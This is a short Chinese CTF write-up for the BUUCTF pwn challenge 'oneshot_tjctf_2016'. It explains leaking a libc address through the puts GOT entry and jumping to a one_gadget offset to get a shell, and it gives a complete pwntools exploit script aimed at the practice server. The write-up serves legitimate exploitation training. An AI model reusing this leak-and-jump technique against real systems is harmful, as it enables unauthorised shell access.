[BUUCTF]-PWN:oneshot_tjctf_2016解析(字符串输入,onegadget)

查看保护

查看ida

这道题的大致思路就是泄露libc地址,然后用onegadget来getshell

但是要注意,这里要我们输入的数据类型是long int,所以不能用我们常用的p64函数了。

完整exp:

复制代码
from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./oneshot')
p=remote('node5.buuoj.cn',26499)
puts_got=0x600AD8
printf_got=0x600AE8
p.sendlineafter(b'Read location?',str(puts_got))
p.recvuntil(b'Value: ')
puts_addr=int(p.recv(18),16)
print(puts_addr)
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
onegadget=libcbase+0x45216
p.sendlineafter(b'Jump location?',str(onegadget))
p.interactive()
相关推荐
LUCIFER8 小时前
[驱动之路(九)——UART(串口)子系统]学习总结,万字长篇,一文彻底搞懂UART(串口)子系统(含串口数据收发流程解析)
linux·驱动开发
忙里偷闲学python8 小时前
ceph介绍和安装
linux·ceph·kubernetes
T___T8 小时前
React Props:从基础使用到高级组件封装
前端·react.js
汉堡大王95278 小时前
React组件通信全解:父子、子父、兄弟及跨组件通信
前端·javascript·前端框架
霍理迪8 小时前
CSS继承,优先级以及字体样式
前端·css
LeeHK8 小时前
在项目中调试vue2源码,watch,nextTick执行顺序梳理
前端
爱敲点代码的小哥8 小时前
json序列化和反序列化 和 数组转成json格式
java·前端·json
林太白8 小时前
2025 AI浪潮下的编程之路:我的天工项目与终身学习
前端·后端·trae
再花8 小时前
VitePress+Github Pages实现静态文档站
前端
Lsx_8 小时前
案例+图解带你一文读懂Svg、Canvas、Css、Js动画🔥🔥(4k+字)
前端·javascript·canvas